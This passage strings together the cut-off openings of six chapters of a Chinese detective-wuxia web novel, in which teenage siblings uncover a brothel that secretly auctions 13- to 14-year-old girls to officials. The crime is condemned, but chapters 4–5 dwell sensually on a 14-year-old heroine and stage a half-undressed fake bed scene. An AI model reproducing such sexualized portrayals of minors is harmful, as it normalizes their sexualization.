《盛世山河(探案)》 1. 雏凤楼 《盛世山河(探案)》全本免费阅读 永延十五年的中元节,按照惯例,节上这一日肉坊罢市。繁闹的东市因少了些商户,便早早地静默下来。 暮色时分,华灯初上。 火龙一般明亮的深街长巷,竟没有一个人影。 地上一片还未燃尽的白色纸钱,骤然翻飞,满街灯影飘摇,灯笼连着串,偏向一处,把街巷都照得摇摇欲坠。 高悬的灯笼后,三层楼宇灯火通明。细细听去,里面竟然有女声低低哭泣。 一双白皙的手伸出窗来,“嘭”的一声,把窗户合上。 刻薄尖锐的声音透过窗棂飘散出来:“哭什么哭!也不嫌晦气!老娘跟你说,今天可是你的大日子,你若是不好好表现,仔细你的皮……” “呜……” 那女声哭得声音更大了。 远处的长街上,有两团昏黄的光,遥遥晃晃地往这三层楼宇飘来。 好似两团鬼火,忽明忽暗。 离近了才看清那是一辆黑木马车,车角吊着两盏风灯。 长街上,只有这辆马车车轮与地面挤压发出吱吱呀呀的声响在巷子里回荡。 北寰言从马车上下来,仰头望着这座三层高的楼宇,嘴里念念有词:“雏凤楼。” 看了半晌,他才睨了一眼驾车的凌信,道:“先去停车。” 凌信应了一声,驱车去后院,把道让出来。 北寰言在门口若有所思,好一会儿才展了展衣衫,抬脚进雏凤楼。 这样的时节,舞乐歌坊都应该闭门谢客。 可这雏凤楼却是灯火满园。 北寰言缓步进了雏凤楼,门口没人接待,一楼大厅挂着红灯,把楼里照得幽红。 楼里空无一人。 若不是里面装潢奢靡,这样看去,这仿佛是一栋鬼楼。 甚是奇怪,门口无人候着,这楼却开着? 蓦地,北寰言隐约听见呜咽之声,像是风穿过堂挤压缝隙发出的声响,又像是女子在楼里深处低低哭泣。 北寰言微微蹙眉,站在门口不敢擅自往前。 凌信停好马车,从外面进来,看见北寰言一动不动站在门口,疑惑地问:“怎么了?为何不进去。” “你……”北寰言略有迟疑地侧目看向凌信,“有没有听见里面有人在哭?” 凌信习武,耳力很好,他侧耳倾听了片刻,道:“微不可闻,但确实有。要去看看吗?” 凌信望向前方红色灯火深处弥漫的幽暗,那就像是一只血盆大口一样张着,等着人进去送死。 北寰言深吸一口气,稳住心神:“走,去看看。” 自打进了这楼,凌信的手就一直放在腰间摸着飘渺剑。 这楼给他的感觉很不好,他隐约能闻到这栋楼有一股厚重的血腥味。 凌信不知道北寰言为什么一进沁春城连住的地方都没找,执意要先来这里看看。他只知道自从他们进了这沁春城,就一直有人监视。 那些徘徊在他们周围的气息,让他很不爽。 北寰言缓步往雏凤楼深处走去,掠过红木搭建的楼梯,罩在外面的白纱衣微扬而过。 空旷的楼宇里,只有他们两个人的脚步声在回荡。 北寰言走到大厅侧面中央,站定。 他不确定那声音是从哪里发出来的,便回头看向身后的凌信。 凌信越过他:“这里。”便继续带着北寰言往前走。 走得越深,隐约可闻的呜咽之声就听得越来越清楚。 直到长廊尽头,一间屋子前面,北寰言停下脚步,蹙眉细听:“这不像是哭。” 凌信也停下脚步,侧目听着。 确实不像是哭,倒像是…… 两人相视一眼,齐齐反应过来,破门而入。 只见一个女子倒在血泊里,一抽一抽,捂着脖子,发出呜呜的声音,奄奄一息,眼看就没救了。 凌信眼角目光扫见窗户微动,脚下一点便跃到窗户边上。 那窗户大开,随风摆动,碰撞着窗侧。 嫣然宛若红河一般的长街上看不见一个人。 “跑了?”北寰言望向凌信的方向。 凌信回眸,点点头。 下一刻,原本寂静的雏凤楼变得嘈杂起来。 一串急促的脚步声从外向内,在门外停住。 领头的人手里挑着灯,握着刀,看见屋里情景当即抬刀指着屋里两个少年喝道:“别动!” 北寰言回身,看见这屋子门口围满了衙役。 凌信侧目看向窗外,楼下也有衙役挑着灯笼,持刀守着,防止他们越窗逃跑。 领头衙役进屋,身后跟着三个跟班。 那衙役给身后跟班一个眼神,冷哼道:“好大的胆子,小小年纪,竟然敢当街行凶?!来人,上镣铐,给我带回衙门去!” 凌信蹙眉,两步走到北寰言身边,刚要说什么,北寰言伸手拦住了他,递给他一个稍安勿躁的眼神。 后面的跟班带着镣铐,想来铐人。 不成想,这两个人手腕不似成年人那般粗壮,是十四五岁少年人的纤细,带上了直往下掉。 北寰言道:“不用这么麻烦,我们随你们回衙门。” 领头的衙役在衙门待了十年之久,从来没遇见过这样杀了人不跑,冷静过头的少年。 不由得细细打量起这两个少年人—— 一个身着淡碧色锦缎对襟长袍,外面罩着白色纱衣,直垂到地。 只看这衣裳上的复杂难织暗纹就知道这身衣服不是一般人可得。 他没有带冠,只是用一根白色的绸缎束了两侧的头发在身后,墨发法如瀑一般,披在身后、落在胸前。 这少年淡定地双手拢袖站定,广袖在他身前一丝不苟地展着。 广袖下腰封上只有正中镶了一块白玉,其他便没有能识别出身份的坠饰。 稚嫩的容颜承着楼里的红光看不真切,隐约能看见他精雕细琢的脸庞耀出一副妖媚的模样。 若不是身着男子的衣裳,只看样貌根本辩不出这少年是男是女。 少年身姿挺拔,个子不高,往那一站,却有一股与生俱来的贵气,让人不敢轻触。 衙役见这少年不卑不亢盯着他,问话都不顺:“你、你叫什么?” 少年看向他回答:“北寰言。” 衙役转头又看向另外一个少年—— 这少年个头比身边碧衣少年个头稍高,留着一头短发,在后面留了些许头发编成了一个细长的小辫。 一身深蓝色轻纱薄衣,衣襟边缘用金线绣着花纹。广袖下盖着臂护,上身穿了一件白色暗纹小衣短装,下身则是刚过膝盖,能分成四页方便行动的短袍,一眼就能看见脚上穿着鹿皮长靴,做工细腻。 腰封是银白色,正中也镶有一块白玉。腰间也没带能识别身份的坠饰。 这蓝衣少年双手环抱在胸口,冷冷地望着衙役。 他虽然没有碧衣少年看上去贵气逼人,却是一副江湖人的模样。长得极其秀气,眼眸与周身都散发出一股凌冽之气。 宛若一把剑的少年人。 这少年意气风发,穿着打扮俨然是江湖名门 2. 深追 《盛世山河(探案)》全本免费阅读 雏凤楼对面的楼顶上坐着一个人。 那人看着北寰言与凌信被人带走,看见府衙的衙役把雏凤楼里的女尸抬了出去,随后有人在雏凤楼门口贴了封条,整条街才安静下来。 人影坐了好一会,发觉雏凤楼里依然灯火通明,没有熄灭的迹象,月光下红唇微笑,人便从楼上翻一跃而下。 站在楼前,楼里的红光照亮了这人的脸。 这张脸长得与北寰言一模一样。 只是因为是女儿身,比北寰言看上起更加灵动可爱。 这少女一身夜行衣,一只手捏着下巴,思索片刻便甩了甩高高束起的马尾辫,窜进侧巷。 只见白光一闪,窗户处“咔嚓”一声有什么断裂的声音,她一跃而起扑进窗户,在地上滚了一圈站起身,还剑于腰间。 屋里漆黑,屋外大堂有红光闪烁。 她听着大堂里的动静,推门出去——之前微不可闻的哭声越来越大。 她轻手轻脚往二楼摸去。 听声音,哭的人不在二楼,少女又往三楼摸去。 刚上三楼要过拐角,少女只觉得身后有一阵劲风袭来,下一刻自己便被人捂住了嘴,拖进了侧面的一个小屋。 少女一惊,手中已经滑出一根银针,侧目看去,只见一个比她年纪稍大一些的姑娘把指头竖在嘴边:“嘘……” 少女眉毛微蹙,稍稍藏下即将出手的银针,而后便听见外面有一串脚步声,夹杂着姑娘的呜咽声,嘈杂而过。 少女狐疑盯着这个把她拉进来的姑娘,小声问:“你是谁?” 那姑娘听着脚步声走远,才转头看向她。 屋里黑,只有外面红光隐射进来,眼前这个玄衣少女半张侧脸印在红光里,惊艳灼人。 她眉宇稍稍蹙起,眉峰微拱,可爱得很,明艳中带着些许稚嫩。 虽然看不真切,但确实是个漂亮的少女。 那姑娘颔首,脸鬓微红,回道:“我叫时均白,我是来救我妹妹的。你呢?” 少女一听是来救人的,小眉毛就展平了许多,睁着乌黑黑、圆溜溜的大眼睛,撒谎不眨眼:“我叫北寰舞,我是来找我姐姐的。” 时均白笑了:“那还真是巧了。” 北寰舞沉下眸光,缓缓道:“确实很巧。” 时均白丝毫没察觉北寰舞的戒备,小心翼翼地推开房门,观察外面的情况。 北寰舞在后面眯着眼睛,盯着时均白。 这人出现的时间太诡异,方才看上去好像是救了她,可她从来也没想着躲,简直是多此一举。 救妹妹。 一听就是骗人的,这女子肯定知道这楼里不少事。 不然也不能躲得这么好。 北寰舞这么想着,便攥紧了左手指缝里的银针,防着这个叫时均白的姑娘有什么不轨之举。 时均白看见方才那些人进了一间屋子,小声地跟北寰舞说:“走,我们跟上,去看看那些人到底干什么的!” 北寰舞立即微笑望着她:“好啊。” 时均白只是狐疑地睨了一眼北寰舞,便回过头去轻手轻脚地推开房门,猫在长廊上。 北寰舞跟着,侧耳倾听—— 这人呼吸均匀,不慌不忙。脚步轻盈,一点声音都听不到。身形平稳,四肢纤细。 最主要的是,她很高,比她高出一个头不止。 “时姑娘,多大了?”北寰舞小声问。 时均白头也不回回答:“十六。你呢?” 北寰舞每问一句,时均白就要回问一句,一点也不肯吃亏的样子。 “我十四。”北寰舞回答。 “哦……” 时均白点点头,带着北寰舞往前走。 两人走到长廊最里面的屋子,站在门口听了一会儿,目光交汇在一起,眼神逐渐变得奇怪。 里面竟然没有声音? 时均白很是娴熟地在窗纱上戳了一个洞,从洞里往屋里看,发觉屋里没人。 她大着胆子,站直了身子,悄悄推开门,走了进去。 北寰舞跟进来,环顾了屋子一圈。 这屋子摆设及其简单,一张床,一个桌子,两张椅子,其他什么装饰都没有。 不像是住人的地方。 屋子不大,大约八步见方的样子。 北寰舞若有所思:“你真的看清楚,他们进这里了吗?” 时均白也是一脸疑惑:“看清楚了啊……” “方才少说也有六七个人的声音,就这一会儿的功夫,人就凭空消失了?”北寰舞开始在屋里踱步。 时均白看着北寰舞,生了逗乐的心思。 此时屋外起了风,风穿透窗棂呜咽着徘徊在屋里,在中元节这一日,听着这声音总有些毛骨悚然。 她走到北寰舞身边,低声说:“难不成,这楼——” 北寰舞回眸看向她。 “闹鬼?!”时均白一脸惊恐。 北寰舞翻了她一个白眼,像看傻子一样。 时均白见北寰舞波澜不惊,瞬间就觉得没意思,撇撇嘴,收敛了玩闹的心思,学着北寰舞的样子,开始在屋里缓步而行。 走一步,摸一步。 北寰舞看着,忽然甩出一道银针直往时均白麻穴去。 时均白正巧蹲下敲地板,银针“咻”的一声从她的肩头擦过,“咚”的一声钉在身后的墙壁上。 听见声音,时均白侧目看向北寰言,微笑问:“怎么?怕我是坏人啊?” 北寰舞指缝中夹满了银针,望着她,冷声道:“嘴里没一句实话。” 时均白站起身,双手叉着腰,笑容不减。 她歪着头望着北寰舞:“你还不是嘴里没有一句实话?我们,彼此彼此吧?” “谁说的!”北寰舞竖起眉,“我的名字还有年纪是真的。” 时均白抱手望着她:“我的名字还有年纪也是真的。” 北寰舞语塞。 感觉这人跟她八字不合。 “你到底是谁!为什么来雏凤楼?!”北寰舞懒得跟他废话,手上有了起手式。 时均白挑眉:“那你又为什么来这里?” 话不投机半句多。 北寰舞起手甩去三根银针打头阵,手从腰间一抹,亮出飘渺剑,脚下一点,直直刺去。 时均白侧身让过银针,身子正对上北寰舞的剑锋,她不慌不忙接着身子后仰,后撑在地,顺势抬脚,要踢北寰舞的手。 北寰舞见状收招,谁知时均白手长脚长,还是踢到了她的剑身,瞬间把她招式踢散! 失了力道,北寰舞整个人都往床榻方向退去,脚下磕了脚踏,人跌向床榻。 与此同时,床榻发出轰隆声音,像是她无意中触碰了什么机括,整个床连带着后面的墙开始翻转。 时均白反应极快,脚下一用力,窜上床榻,跟着北寰舞一起跟着床榻翻转到墙的另一面。 谁知这墙刚翻过去,床板处有机括转动的声音。 北寰舞心道不好,这床板要动,但眼下也没地方借力。 时均白反应极快伸手把北寰舞拉过来,护在怀里,顺手把北寰舞的缥缈剑收回她的腰间。 床板骤然被机括之力抽走,两人便一起滚进了暗道。 北寰舞吓得紧紧抱住时均白,强忍住尖叫的欲望。 时均白则是凭借自己手长脚长,用双脚硬生生撑住了暗道墙壁,阻止下落的速度。他还没调整好姿势,两人就已经滑落到地。 落地之前时均白转了个身,让北寰舞在上, 3. 纵火 《盛世山河(探案)》全本免费阅读 时均白伸出右手,按住藏在左手手腕里的机括,“咔嚓”一声,两条细线从他左手衣袖里射出,直钉在地道一角。 时均白看向北寰舞。 北寰舞反应极快,二话不说,也扬起右手发动藏在衣袖里的机扩,射出两道细线。 两人脚下一点,借助机括之力,攀上墙壁。 时均白从衣袖里掏出一把匕首,一下横插入土壁,双手撑着墙壁,把匕首手柄踩在脚下。让自己稳稳地钉在了天花板的墙角。 北寰舞显然没有准备充分,她没有匕首只能依着那两条细线的力量勉强攀在墙壁上。好在她够轻。 来人已经过了地道口到了这间密室里。 时均白与北寰舞看见两个粗使仆役打扮的人从他们下方走口子走进来。 那两人在屋里看了一圈,狐疑地对视一眼。 “我没听错吧?这里机关是被打开了吧?” “肯定没听错,是打开了。我也听见了。” “上面怎么没人下来?” 两人在甬道口看了半天,也没看出个名堂。 北寰舞发射的铁爪松了一个,墙壁上“咔嚓”掉下一块土块。 那两人回头,目光往上扫视。 时均白心中一惊,暗道不好,顺手就从腰间取出一小锭金子卡在中指与拇指之间,“咻”的一声,那锭金子砸在甬道上,瞬间就滚落在地。 那两人听见动静,又一起回头,看见甬道里滚下一锭金子。 你看看我,我看看你,沉默片刻之后,都去抢那一小锭金子。 两人见钱眼开,一锭金子怎么够分? 当即就扭打在一起。 一时间甬道里灰尘肆起,谩骂漫天。 北寰舞掉了一根线,攀不住,时均白拉住北寰舞,给她一个眼神,让她收线。 自己也把匕首拔出,收了线,带着北寰舞翻身下地,趁乱跑出密室,奔向外面。 密室不大,两人跑得极快,两步就出了密室。 密室外面是更空旷一片空地,墙壁上挂着油灯,把密室照得昏黄。 不远处有一个楼梯往上,上面有红光,似乎是地面。 时均白毫不犹豫拉着北寰舞向上跑。 他先一步跑完楼梯,看见外面情景,瞳孔微缩,心中一沉,反应极快把北寰舞推到了墙边卡在墙后。 北寰舞靠墙屏气,只听外面有粗犷的人声响起:“跑什么?!你跑得出去?” 时均白愣了一下,立即变成女声,缓缓走出去,捂着脸嘤嘤哭了起来。 那人看时均白哭,一脸不耐烦:“哭哭哭,就知道哭,你们每天都哭,真他妈晦气!跟老子去更衣上妆!今天是你们好日子,哭得不嫌烦!这是今天最后一个了吧?!” 这话像是再问身边的人。 时均白哭声随着几个人的脚步声渐行渐远。 北寰舞这才敢探出头去看。 眼前的这栋楼金灿灿的,装潢得极尽奢靡。 整栋楼只有两层,用金粉刷漆,即便是夜晚,映着灯火也能看见这楼外面金光溢彩。 她不由自主地睁大了眼睛。 这得花多少银子?恐怕只有皇宫才能跟这里相提并论了吧? 她眼看着那群人带着时均白往那栋楼里去,也顾不上许多,连忙跟了上去。 时均白一边把脸埋在衣袖里哭泣,一边回头找北寰舞。 只见北寰舞藏匿在黑暗里,跟在后面没人发现,便松了一口气。 时均白被这群人带进楼里,门口有守卫。 北寰舞绕到侧面花园里灌木从中,看着楼里灯光映射着人影,穿过这栋楼,往后院去了。 从后院门口处往里面看,隐约能看见里面的阁楼门口守卫人人身侧挂着一把刀。 北寰舞也感觉到院墙后面有隐藏的气息,那院子里藏着不少高手。 这到底是什么地方?! 竟然有这么多高手? 北寰舞蹙眉,环顾四周。 她看见雏凤楼耸立在她的左侧,她跟时均白掉入机括密道,竟然到了紧挨着雏凤楼的另外一个深宅大院。 这院子草木茂盛,北寰舞蹲在灌木后,看不清围墙外面的情景,只能凭借夜晚的映在夜幕上的灯光隐约辨别出这院子深处有一栋接着一栋的楼阁。 她在的地方好像是这宅子的后院。 北寰舞蹲在灌木里,等了好一会,这院子才没了声响。 夜半时分,寂静非常。 所有的声音都从隔壁传出,她听了好一会,只隐约听见院子那边有女子啜泣的声音。 怎么办呢? 北寰舞忍不住蹙起了眉。 是想办法继续往里进,还是先撤出去找人? 若是先撤,时均白还在里面,这里到底是怎么情况她还没探查清楚……就这样走了,时均白会不会有危险? 北寰舞额头有细汗渗出。 理智告诉她,她现在需要回去搬救兵从长计议,可方才带走时均白的人说的话一直在她脑子重复—— 【今天是你们好日子,哭得不嫌晦气!】 什么叫做好日子? 既然是好日子,为什么所有的姑娘都在哭? 这里到底有什么,他们为什么要用隔壁的雏凤楼作掩护? 话说回来,雏凤楼又是什么地方? 北寰舞越想心里越乱。 哥哥什么都没说,只是去了一趟雏凤楼就被府衙的人抓走了。 她跟在后面看着他被抓走,对整件事毫无头绪。 现在虽然混进来,却被拦在院子外面。 时均白被带了进去,她想走不能走,着实头疼。 北寰舞闭上眼,想了好一会,才深吸一口气,盘腿坐下,强迫自己镇静下来想办法—— 首先,她要进入后面的院子才知道这院子里到底藏的是什么。 她不能现在走。 不知道这里的活动是每天都有,还是一年就这一次。 既然今天晚上碰到了,机不可失,就必须借助这个机会进去一探究竟。 确定了自己不能丢下时均白一走了之,北寰舞便开始想能混到后院的办法。 跟时均白一样,被人带进去? 不,太冒险了。 方才那人说“这是最后一个姑娘”了。 她现在就一个人,而这院子后面有很多人,那些人有什么能耐,她全然不知。就这样毫无准备地进去,未必能全身而退。 北寰舞有些急,不自觉地开始咬自己的右拇指指甲。 把事情捋顺之后,摆在眼前的问题只有一个——要怎么样才能在不暴露自己行踪,也不引起里面人怀疑的情况下,摸黑混进这院子里呢? 北寰舞望着隔壁院子满园的红光,忽然脑中有什么,一闪而过,整个人僵了一下。 她蹲在草丛里观察了好一会儿,小心翼翼地摸向身侧金灿灿的屋子。 屋里没人。 北寰舞只是看了一眼,便摸回密室。 密室里面那两个人还在争那块金子,北寰舞在密室里找了一圈,找到了两桶火油。 正如她所想,方才她看了一眼这密室照明用的油灯,这里肯定有火油。 北寰舞 4. 洞房花烛 《盛世山河(探案)》全本免费阅读 “好了姑娘们,不要再磨蹭了。吉时快到了!” 那声音又一次拍手催促,姑娘们一起掩面哭泣。 只有北寰舞,用衣袖半掩,媚眼轻佻,寻声望去。 声音的主人是一个看不出实际年纪的女子,好看是好看,只是妆容太浓,看上去像是三十多岁的成□□人。 那妇人也注意到北寰舞。 北寰舞用衣袖遮了一半的脸,只露出一双眼睛。 那双眼睛宛若一泓清水,水里溺着魅色。轻轻一眨,便要割断人的心神一般。那仿佛是包含了无数情话,让人止不住想要靠近,细细倾听,打量。 好一双妖冶至极的眼睛。 妇人见过很多姑娘,却从没有见过这样一双只看一眼就足以深陷的眸子。 “今夜是个好日子。” 妇人艳笑,手上团扇一扇,周围伺候的丫鬟便齐齐拿起一张似透非透的面纱,给姑娘们戴上。有序地搀扶起姑娘,往前厅走去。 北寰舞跟着姑娘们一起,低头而行。 引路的妇人身子扭得风情万种。 长廊上,红袖盈盈飞舞。 夜幕之下,这里灼艳得不像是人间。 北寰舞抬眸,望着不远处红灯映照下的假山池水,朦朦胧胧,看不真切。 绕过这院子,她便看到了一座金碧辉煌的阁楼。 这阁楼庞然立在那里,似一座金灿灿的山。 即便是在东陵都城,她也没见过这样的手笔。 姑娘们被引路的丫鬟带到这楼的四周分散。走近了看,每一面有许多阶梯。 站在阶梯下,仰望。阶梯的尽头,竟然是一片光明。 北寰舞身边的丫鬟颔首,请道:“姑娘上去吧。” 北寰舞睨了她一眼,提起裙摆,缓步往上。 这台阶是红木搭建,每一步走上去,都有木板咯吱的细碎声,隐隐作响。 大约走了五六十个台阶,北寰舞终于看见了一个不大的平台。 平台边有朱色围栏正好齐腰。她走上平台,靠在围栏边,看见方才跟她一起过来的姑娘,都站在一个不大的平台上,绕了屋里一周。 楼下坐满了衣着上等的达官显贵。 这是…… 北寰舞蹙眉,思索着楼下坐着的人的身份。 她扫了一眼二楼所有平台上站着的姑娘,姑娘们个子都与她差不多,没看见身材高挑的。 时均白不在这里? 耳边响起舞乐之声,楼下正东处有一舞台,方才拿着团扇的妇人徐徐而至。 她笑着道:“各位爷,这些雏儿都是楼里新进的姑娘,十三四岁的年纪,正当妙龄。春宵一刻值千金,爷们不要吝啬才能抱得美人归啊!” 北寰舞眸光沉入眸低。 东陵法度,女子只有行了及笄之礼之后才可以婚配。东陵婚配流程甚是复杂,即便是女子及笄之后便开始走婚配流程,整个流程走完,也需要一年。 也就是说,东陵女子大部分成婚年纪,最早也是十六岁。 即便是青楼那种勾栏瓦舍,也不允许有十五岁以下的女子卖身。一旦发现,那便是砍头的重罪。 难怪这里要做的那么隐蔽,强行与十三、四岁的女子合房,是死罪。 奈何,总有那么一批狗男人就好这一口。 有需求,自然有人铤而走险。 这么大的地方,这么大的牌场,建立起来,显然不是一朝一夕的事。 其背后势力不容小觑。 难怪方才院子里隐着那么多高手,就是防着有什么人进来好拿捏。 现在想来,方才那些人口中的“好日子”便是这些女子开.苞的日子了? 好大的狗胆。 北寰舞敛了气息,手缓缓握住朱栏,指节微白。 “咔嚓”一声,北寰舞听见了机括声,立即她站的地方骤然下降。 站在平台上的姑娘们吓得尖叫,纷纷跌坐在平台上。 北寰舞仰头,看见这些平台其实都是由机括控制,可以在整个楼里自由活动。 这机括造得很是精巧。 很快平台便落在了一楼,排列成一个圈,匀速运转。 整个会场就像是一个巨大的“餐桌”,那些年幼的少女们就像一个一个放在“盘子”里的珍馐,让食客们品食。 所有姑娘都蒙着一层红色的面纱,穿着正红色绣着金线的裹胸罗纱裙。这些衣冠禽兽只能看姑娘们的身段、眼睛、以及四肢。 北寰舞站在平台上,睨着台下坐着的那些贵人,心中不由得一哂。 有几个人她认得,是沁春城下属县城县令,以及周边州城的长史。 明知故犯,法理不容! 北寰舞眉宇蹙在一起,台下却已经有人看到了北寰舞那双宛若秋水的眸子,举了牌子。 站在舞台上的妇人朗声道:“三十六号姑娘,有人出价一千两白银。” 紧接着又有人举牌子,周围的姑娘都被人选中。 起价一千两,举一次牌子就是加价一千两。 北寰舞看见自己前面的人台子编号是三十五,后面台子编号是三十七,便知晓那三十六号姑娘指的是自己。 大厅里,三十六的牌子被人频频举起。 连续举了几次之后,北寰舞身价已经加到了七千两银。 这不是一个小的数目,东陵当朝四品大员一年俸禄折合成银子也不过就是三百两。 七千两白银即便是一般的官员,也要省吃俭用,攒二十多年。 能在这里参加竞标的,不仅仅有官员,还有富商巨贾。 抬价到了七千两,后面的价钱也只有巨富与巨贪出得起价。 台子上的妇人高兴地望向北寰舞,以她之姿,若是没有万两白银,恐也带不走。 果然一个身着枣色锦衣中年人,举起了手中三十六号牌子。 妇人朗声道:“三十六号姑娘,八千两银子!” 随即一个青衣公子,举起三十六号牌子,缓声道:“一万。” 这声一出,所有人都看向那青衣公子。 下面有人小声议论—— “这是哪家的公子?” “不清楚啊……” “不认识。没见过,是……外地来的商贾?” “好阔绰,可这人初来乍到不知好歹——跟他对着举牌的是沁春城巨富金扬。金扬自己没这个爱好,今日不知道是来替哪个埋单的。” “有好戏看咯。” 一群人看热闹不嫌事大。 那个名叫金扬的中年男子不满地望向那个青衣公子,再一次举起了牌子:“一万五。” 妇人兴奋大喊:“金员外出一万五千两银子!还有没有更高的?!” 那青衣公子慢悠悠地举牌,道:“两万。” 这个数一出,在座所有人都小声惊呼。雏凤楼开楼以来,恐怕还没有哪个雏儿卖到两万。 主要是不值。 金扬显然没有想到今日半道会杀出一个“程咬金”,他闭上眼睛思索片刻,立即举牌,喊道:“三万。” “喔——”大厅里一阵惊呼。 那青衣公子眼皮都没抬一下,举了牌 5. 春宵一刻 《盛世山河(探案)》全本免费阅读 那青衣公子反应极快,抬手格挡,顺势就把北寰舞搂在怀里,把她的手擒在她身前,低声道:“是我。” 这声音…… 北寰舞眼睛一亮,回头看去:“时……” 时均白当即做了一个噤声的手势。 时均白把唇凑到北寰舞耳边,小声道:“外面有人。” 北寰舞看向屋外,这里的门板与窗棂糊着半透明的白色纱布,确实能看见外面有人来回巡逻的影子。 这里被人看得密不透风。 也是,做这等见不得人的买卖,自然是要捂得严实点。 北寰舞能看见外面的情况,外面自然也能看见里面的情况。 他俩说话声音不能太大,北寰舞转过身,搂住时均白的脖子,把唇也凑到他耳边问道:“你怎么逃脱的?” 外面刚好路过一个人影,往里屋看了看。 只看见姑娘搂着公子的脖子,两人亲密至极。 上过妆的北寰舞满脸妖艳之色,红唇饱满的宛若樱桃,带着诱亮的色泽。 眉眼处带着红润,满是情潮。 她身上幽香直往时均白脑子里钻,时均白瞬间便红了一耳朵。 时均白虽然自小惹姑娘喜欢,但也从未经历过这事,有些不知所措,手不敢乱放,只能轻轻拉着北寰舞罩在外面纱衣,轻轻回道:“我精通易容。” “你易容的这个公子呢?”北寰舞蹙眉。 时均白回道:“时间紧迫,没地方藏,人在外面草丛里躺着,这里不宜久留。我用药不深,如果那人醒了,我们就……” 时均白话还没说完,就听见外面有异动。 他们一齐回头,看见有一队人往他们这里来。 坏了! 很有可能是他们已经找到了真正的青衣公子。 北寰舞拉着时均白往床边跑:“上床!把你的易容卸下来!” 时均白一脸疑惑。 北寰舞急得先把时均白拉到了床边。 两人一起上床。 时均白把脸上易容卸下来,北寰舞把床帘放下来。 回过身去,一边脱衣服一边道:“脱衣服,我们要做出一般恩客与姑娘们欢愉的样子。” “啊?”时均白一脸惊愕。 两人根本来不及多想,人已经快到门口。 北寰舞懒得跟时均白多说,伸手去解他的衣衫。时均白耳根大红,避开北寰舞的手自己褪下衣衫,扔在外面地上,北寰舞拉过被子盖住两人。 时均白哪里经过这种事,从里到外红了个透。 北寰舞蹙眉:“上来啊!你在我下面算怎么回事?” “啊?” 时均白没反应过来,北寰舞已经把他拉了上来,刚拉起被子,就听见房门被人一脚踹开。 立即有人来撩床帘。 只见床帐之内有美人与恩客欢愉。 “啊——” 北寰舞一声尖叫,把头埋在时均白怀里。 时均白回眸,用沙哑的声音呵斥:“他妈的?谁坏老子好事?!” 来人见床上恩客不是刚才那个青衣公子,还没看得仔细,就被时均白用枕头给丢了出去,床帘落下,时均白起身继续喝道:“让你们管事的人来?!坏了老子洞房,让你们雏凤楼吃不了兜着走!” 来人一脸懵,但是看见这脸确实不是青衣公子的样子,立即认怂,道歉:“客官别生气,别生气!我们出去我们出去!” 一队人立即退了出去,只听远远的,那领头骂道:“妈的,房间不对!” 立即带队下楼去。 时均白与北寰舞侧耳倾听了好一会,确认人已经走了,才双双松了一口气。 时均白回过神来,才发觉身下香软,香艳至极,北寰舞衣衫半解地扶着他的肩膀,眼眸清亮地望着他。 时均白顿时心神大乱,不敢再多看一眼,连忙爬起来,坐到一边,扯过被子,给北寰舞盖上:“对、对不住。” 北寰舞裹着被子,也坐了起来,红着脸嗯了一声。 时均白头侧向另一边,跪坐着,闭着眼,不敢回想北寰舞的模样。 他心里暗暗懊恼,这算不算是毁了师妹的清白? 让师叔知道了,恐怕会打死他吧? 时均白越想越恐怖。 北寰舞抿着唇,偷偷地看时均白。 他的下颚线透着屋里的红光,折出干净利落的线条。他的眉眼里藏匿着说不清楚的慵懒。 原来这才是他本来的样子,没有爹爹好看得不像人间凡物,却也是眉眼清亮、轮廓精致的俊秀少年。 “师妹……” 时均白侧身,目光落在另一边,艰难开口:“我、我不是那孟浪之人,今、今日我们有了肌肤之亲,我必会对师妹负责。等师妹及笄之后,我便让爹爹去找安王殿下提亲……” 说这话的时候,时均白手都在发抖。 他一想到北寰舞亲爹那一手沙场上练就的杀戮,就觉得自己命不久矣。 北寰舞愣了一下。 低头,无声地笑了。 没想到时均白看上去满身风流之气,眸子里透着放浪不羁,在这事上竟这么有担当? 想到之前他使坏吓她这里有鬼,现在有了机会还不好好整治他一番? 北寰舞说哭,眼泪就啪嗒啪嗒地掉了下来。 那边传来轻轻地啜泣声。 时均白心中大乱,想看又不敢回头看,只能焦急安慰:“我、我什么都没看见……真的!师妹你别哭了。我、我会对你负责的。” 时均白不是没看见,是真的没得看。 一个十四岁的小姑娘,哪有那么多妖娆给他看? 听到这,北寰舞哭得声音又大了些:“师兄口说无凭……” 时均白抓心挠肝,心下一横,从脖颈上取下一个东西,向北寰舞方向挪了一段距离,闭眼把东西塞进了北寰舞手里:“以这东西为凭证。” 北寰舞低头看手里这块红的宛如鲜血一般的玉牌。 咦,这东西她认识啊。 时家家主的红玉牌——可以调动时家所有人、所有铺子的令牌。 只有时家现任家主与时家下任家主才有的东西。 北寰舞抬眸重新审视了眼前这个只比她大了两岁的少年——十六岁,就已经通过时家七层塔的考验,拿到了红玉牌?!成了时家下任家主? 这么贵重的东西,她可不能收。 “噗……” 北寰舞终于是忍不住笑出声。 时均白还没回过神来,只是咬着唇,想着怎么回去跟爹爹说这事。听见北寰舞笑得开心,这才回头去看她。 “师兄,我逗你玩的。” 北寰舞把玉牌还给时均白。 时均白愣愣地看着手中的东西。 北寰舞道:“这事,你不说我不说,没人知道。只当是我们之间的一个小秘密吧。” 时均白握着红玉牌,耳鬓红光:“可我到底是……” 北寰舞笑道:“我身在半个江湖,没有那么多条条框框。事出紧急,怪不得你。况且……” 北寰舞顿了下,时均白抬眸看向她。 只见她笑得宛如暮云峰上的苍雪 6. 大胆刁民 《盛世山河(探案)》全本免费阅读 清晨,天还没有完全亮透,凌信忽然睁开眼,站起身,走到地牢铁窗前,侧耳倾听。 北寰言也睁开眼,跟着站起身来。 听了好一会,凌信才道:“外面似乎发生了什么事。很吵。” 北寰言看着天光,低声道:“这个点,街市都没开张,更夫才收工。外面有什么事,都是小舞弄出来的。” “这么说,她潜进雏凤楼了?” 凌信听着外面动静,越听越觉得像是北寰舞的作风。 她一个人在外面,不出点大动静,都不像她。 北寰言思索着:“她一晚没来找我,八成是留下继续探查了。不用担心她,她精明得很,吃不了亏。而且……” 北寰言欲言又止。 凌信回头:“而且什么?” 北寰言道:“沁春城离暮云峰这么近。” 北寰言这话说得意味深长,凌信立即领悟点头,觉得他说得在理。 眼下他们应该关注的是今天的堂审。 卯时刚过,大牢大门被人打开。 一个瘸子拎着一桶饭,一瘸一拐地进来,一个牢笼一个牢笼的送饭。 送到北寰言与凌信的门口,那瘸子从凌乱脏污的头发缝隙中瞥了一眼这两个干净的少年,放下两碗糙米,继续往大牢深处去了。 